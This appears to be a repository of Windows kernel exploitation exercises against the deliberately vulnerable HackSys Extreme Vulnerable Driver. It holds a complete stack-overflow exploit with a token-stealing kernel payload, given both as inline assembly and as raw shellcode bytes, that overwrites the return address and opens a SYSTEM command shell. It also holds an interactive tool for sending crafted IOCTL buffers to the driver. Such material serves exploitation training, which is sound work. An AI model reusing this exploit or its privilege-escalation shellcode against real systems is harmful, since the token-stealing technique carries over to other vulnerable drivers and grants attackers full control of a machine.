├── README.md ├── stackoverflow_expl ├── CMakeLists.txt ├── main.cpp ├── payload.h └── shellc.asm └── task1 └── src ├── CMakeLists.txt ├── hevd_comm.h ├── main.cpp ├── util.cpp └── util.h /README.md: -------------------------------------------------------------------------------- 1 | # wke_exercises 2 | -------------------------------------------------------------------------------- /stackoverflow_expl/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required (VERSION 2.8) 2 | project (WKE_stackov) 3 | 4 | set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") 5 | 6 | set (srcs 7 | main.cpp 8 | ) 9 | 10 | set (hdrs 11 | payload.h 12 | ) 13 | 14 | add_executable (WKE_stackov ${hdrs} ${srcs}) -------------------------------------------------------------------------------- /stackoverflow_expl/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | 6 | #include "payload.h" 7 | 8 | #define USE_INLINE 9 | 10 | #define EIP_OFFSET 2080 //offset of the address in the buffer that will overwrite the EIP 11 | 12 | #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) 13 | 14 | const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver"; 15 | 16 | HANDLE open_device(const char* device_name) 17 | { 18 | HANDLE device = CreateFileA(device_name, 19 | GENERIC_READ | GENERIC_WRITE, 20 | NULL, 21 | NULL, 22 | OPEN_EXISTING, 23 | NULL, 24 | NULL 25 | ); 26 | return device; 27 | } 28 | 29 | void close_device(HANDLE device) 30 | { 31 | CloseHandle(device); 32 | } 33 | 34 | BOOL send_ioctl(HANDLE device, DWORD ioctl_code) 35 | { 36 | LPVOID payload_ptr = NULL; 37 | 38 | #ifdef USE_INLINE 39 | printf("Using inline payload\n"); 40 | payload_ptr = &TokenStealingPayloadWin7; 41 | #else 42 | printf("Using shellcode payload\n"); 43 | //allocate executable memory for the shellcode: 44 | LPVOID shellc_ptr = VirtualAlloc(0, sizeof(kShellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 45 | if (shellc_ptr) 46 | memcpy(shellc_ptr, kShellcode, sizeof(kShellcode)); 47 | payload_ptr = shellc_ptr; 48 | #endif 49 | 50 | if (payload_ptr == NULL) { 51 | printf("[-] Payload cannot be NULL\n"); 52 | return FALSE; 53 | } 54 | const size_t bufSize = EIP_OFFSET + sizeof(DWORD); 55 | char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize); 56 | 57 | RtlFillMemory(lpInBuffer, bufSize, 0x41); 58 | 59 | DWORD* address_field = (DWORD*)(lpInBuffer + EIP_OFFSET); 60 | *address_field = (DWORD)(payload_ptr); 61 | 62 | DWORD size_returned = 0; 63 | BOOL is_ok = DeviceIoControl(device, 64 | ioctl_code, 65 | lpInBuffer, 66 | EIP_OFFSET + sizeof(DWORD), 67 | NULL, //outBuffer -> None 68 | 0, //outBuffer size -> 0 69 | &size_returned, 70 | NULL 71 | ); 72 | //release the input bufffer: 73 | HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer); 74 | 75 | #ifndef USE_INLINE 76 | //release the memory with the shellcode: 77 | if (shellc_ptr) { 78 | VirtualFree(shellc_ptr, sizeof(kShellcode), MEM_RELEASE); 79 | shellc_ptr = NULL; 80 | } 81 | #endif 82 | 83 | return is_ok; 84 | } 85 | 86 | int main() 87 | { 88 | HANDLE dev = open_device(kDevName); 89 | if (dev == INVALID_HANDLE_VALUE) { 90 | printf("Failed to open the device! Is HEVD installed?\n"); 91 | system("pause"); 92 | return -1; 93 | } 94 | 95 | send_ioctl(dev, HACKSYS_EVD_IOCTL_STACK_OVERFLOW); 96 | system("cmd.exe"); 97 | close_device(dev); 98 | system("pause"); 99 | return 0; 100 | } 101 | -------------------------------------------------------------------------------- /stackoverflow_expl/payload.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /* 4 | original payload by Ashfaq Ansari: 5 | https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c#L63 6 | modified to preserve the reference counter 7 | */ 8 | 9 | #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread 10 | #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process 11 | #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId 12 | #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink 13 | #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token 14 | #define SYSTEM_PID 0x004 // SYSTEM Process PID 15 | 16 | __declspec(naked) VOID TokenStealingPayloadWin7() { 17 | // Importance of Kernel Recovery 18 | __asm { 19 | pushad ; Save registers state 20 | 21 | ; Start of Token Stealing Stub 22 | xor eax, eax ; Set ZERO 23 | mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread 24 | ; _KTHREAD is located at FS:[0x124] 25 | 26 | mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process 27 | 28 | mov ecx, eax ; Copy current process _EPROCESS structure 29 | 30 | mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 31 | 32 | SearchSystemPID: 33 | mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink 34 | sub eax, FLINK_OFFSET 35 | cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId 36 | jne SearchSystemPID 37 | 38 | mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token 39 | mov edi, [ecx + TOKEN_OFFSET] ; Get current process token 40 | and edx, 0xFFFFFFF8 ; apply the mask on SYSTEM process token, to remove the referece counter 41 | and edi, 0x7 ; apply the mask on the current process token to preserve the referece counter 42 | add edx, edi ; merge AccessToken of SYSTEM with ReferenceCounter of current process 43 | mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token 44 | ; with SYSTEM process nt!_EPROCESS.Token 45 | ; End of Token Stealing Stub 46 | 47 | popad ; Restore registers state 48 | 49 | ; Kernel Recovery Stub 50 | xor eax, eax ; Set NTSTATUS SUCCEESS 51 | pop ebp ; Restore saved EBP 52 | ret 8 ; Return cleanly 53 | } 54 | } 55 | 56 | unsigned char kShellcode[] = { 57 | 0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1, 58 | 0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D, 59 | 0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED, 60 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00, 61 | 0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00, 62 | 0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00 63 | }; 64 | -------------------------------------------------------------------------------- /stackoverflow_expl/shellc.asm: -------------------------------------------------------------------------------- 1 | ; compie with nasm: 2 | ; nasm.exe shellc.asm 3 | 4 | [bits 32] 5 | 6 | start: 7 | pushad 8 | mov eax, [fs:0x124] 9 | mov eax, [eax + 0x050] ; _KTHREAD.ApcState.Process 10 | mov ecx, eax ; we got the EPROCESS of the current process 11 | 12 | mov edx, 0x4 ; WIN 7 SP1 SYSTEM process PID = 0x4 13 | search_system_process: 14 | mov eax, [eax + 0x0b8] ; _EPROCESS.ActiveProcessLinks 15 | sub eax, 0x0b8 ; got to the beginning of the next EPROCESS 16 | cmp [eax + 0x0b4], edx ; _EPROCESS.UniqueProcessId == 4 (PID of System) ? 17 | jnz search_system_process 18 | 19 | mov edx, [eax + 0xf8] ; copy _EPROCESS.Token of System to edx 20 | mov edi, [ecx + 0xf8] ; current process token 21 | and edx, 0xFFFFFFF8 ; apply the mask on SYSTEM process token, to remove the referece counter 22 | and edi, 0x7 ; apply the mask on the current process token to preserve the referece counter (0y111) 23 | add edx, edi 24 | mov [ecx + 0x0f8], edx ; modify the token of the current process 25 | 26 | popad 27 | xor eax, eax ; Set NTSTATUS SUCCEESS 28 | pop ebp ; Restore saved EBP 29 | ret 8 ; Return cleanly -------------------------------------------------------------------------------- /task1/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required (VERSION 2.8) 2 | project (WKE_task1) 3 | 4 | set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /MT") 5 | 6 | set (srcs 7 | main.cpp 8 | util.cpp 9 | ) 10 | 11 | set (hdrs 12 | hevd_comm.h 13 | util.h 14 | ) 15 | 16 | add_executable (WKE_task1 ${hdrs} ${srcs}) -------------------------------------------------------------------------------- /task1/src/hevd_comm.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver"; 6 | 7 | #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) 8 | #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS) 9 | #define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS) 10 | #define HACKSYS_EVD_IOCTL_POOL_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS) 11 | #define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS) 12 | #define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS) 13 | #define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS) 14 | #define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS) 15 | #define HACKSYS_EVD_IOCTL_TYPE_CONFUSION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS) 16 | #define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS) 17 | #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) 18 | #define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS) 19 | #define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS) 20 | #define HACKSYS_EVD_IOCTL_DOUBLE_FETCH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_NEITHER, FILE_ANY_ACCESS) 21 | -------------------------------------------------------------------------------- /task1/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "hevd_comm.h" 4 | #include "util.h" 5 | 6 | HANDLE open_device(const char* device_name) 7 | { 8 | HANDLE device = CreateFileA(device_name, 9 | GENERIC_READ | GENERIC_WRITE, 10 | NULL, 11 | NULL, 12 | OPEN_EXISTING, 13 | NULL, 14 | NULL 15 | ); 16 | return device; 17 | } 18 | 19 | void close_device(HANDLE device) 20 | { 21 | CloseHandle(device); 22 | } 23 | 24 | BOOL send_ioctl(HANDLE device, DWORD ioctl_code, DWORD bufSize) 25 | { 26 | //prepare input buffer: 27 | PUCHAR inBuffer = (PUCHAR) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize); 28 | 29 | if (!inBuffer) { 30 | printf("[-] Alloc failed!\n"); 31 | return FALSE; 32 | } 33 | //fill the buffer with some content: 34 | RtlFillMemory(inBuffer, bufSize, 'A'); 35 | 36 | DWORD size_returned = 0; 37 | 38 | printf("Sending IOCTL: %#x\n", ioctl_code); 39 | BOOL is_ok = DeviceIoControl(device, 40 | ioctl_code, 41 | inBuffer, 42 | bufSize, 43 | NULL, //outBuffer -> None 44 | 0, //outBuffer size -> 0 45 | &size_returned, 46 | NULL 47 | ); 48 | //release the input bufffer: 49 | HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer); 50 | return is_ok; 51 | } 52 | 53 | int main(int argc, char *argv[]) 54 | { 55 | HANDLE dev = open_device(kDevName); 56 | if (dev == INVALID_HANDLE_VALUE) { 57 | printf("Cannot open the device! Is the HEVD installed?\n"); 58 | system("pause"); 59 | return -1; 60 | } 61 | printf("Device opened!\n"); 62 | DWORD index = 0; 63 | print_info(); 64 | 65 | while (true) { 66 | printf("Choose IOCTL index: "); 67 | scanf("%d", &index); 68 | DWORD ioctl_code = index_to_ioctl_code(index); 69 | if (ioctl_code == -1) { 70 | print_info(); 71 | continue; 72 | } 73 | printf("Supply buffer size (hex): "); 74 | DWORD bufSize = 0; 75 | scanf("%X", &bufSize); 76 | BOOL status = send_ioctl(dev, ioctl_code, bufSize); 77 | printf("IOCTL returned status: %x\n", status); 78 | printf("***\n"); 79 | } 80 | close_device(dev); 81 | system("pause"); 82 | return 0; 83 | } 84 | -------------------------------------------------------------------------------- /task1/src/util.cpp: -------------------------------------------------------------------------------- 1 | #include "util.h" 2 | #include 3 | 4 | const DWORD ioctl_list[] = { 5 | HACKSYS_EVD_IOCTL_STACK_OVERFLOW, 6 | HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS, 7 | HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE, 8 | HACKSYS_EVD_IOCTL_POOL_OVERFLOW, 9 | HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT, 10 | HACKSYS_EVD_IOCTL_USE_UAF_OBJECT, 11 | HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT, 12 | HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT, 13 | HACKSYS_EVD_IOCTL_TYPE_CONFUSION, 14 | HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW, 15 | HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, 16 | HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE, 17 | HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE, 18 | HACKSYS_EVD_IOCTL_DOUBLE_FETCH 19 | }; 20 | 21 | const char* ioctl_info[] = { 22 | "HACKSYS_EVD_IOCTL_STACK_OVERFLOW", 23 | "HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS", 24 | "HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE", 25 | "HACKSYS_EVD_IOCTL_POOL_OVERFLOW", 26 | "HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT", 27 | "HACKSYS_EVD_IOCTL_USE_UAF_OBJECT", 28 | "HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT", 29 | "HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT", 30 | "HACKSYS_EVD_IOCTL_TYPE_CONFUSION", 31 | "HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW", 32 | "HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE", 33 | "HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE", 34 | "HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE", 35 | "HACKSYS_EVD_IOCTL_DOUBLE_FETCH" 36 | }; 37 | 38 | 39 | DWORD index_to_ioctl_code(size_t index) 40 | { 41 | size_t ioctl_count = sizeof(ioctl_list) / sizeof(DWORD); 42 | if (index >= ioctl_count) { 43 | printf("[-] No such index!\n"); 44 | return -1; 45 | } 46 | return ioctl_list[index]; 47 | } 48 | 49 | void print_info() 50 | { 51 | size_t ioctl_count = sizeof(ioctl_list) / sizeof(DWORD); 52 | printf("---------------------\n"); 53 | printf("Device:\n%s\n\n", kDevName); 54 | printf("Available IOCTLs:\n", kDevName); 55 | printf("---------------------\n"); 56 | for (size_t i = 0; i < ioctl_count; i++) { 57 | printf("%2d: %#x: %s\n", i, ioctl_list[i], ioctl_info[i]); 58 | } 59 | printf("---------------------\n"); 60 | } -------------------------------------------------------------------------------- /task1/src/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "hevd_comm.h" 4 | 5 | DWORD index_to_ioctl_code(size_t index); 6 | void print_info(); --------------------------------------------------------------------------------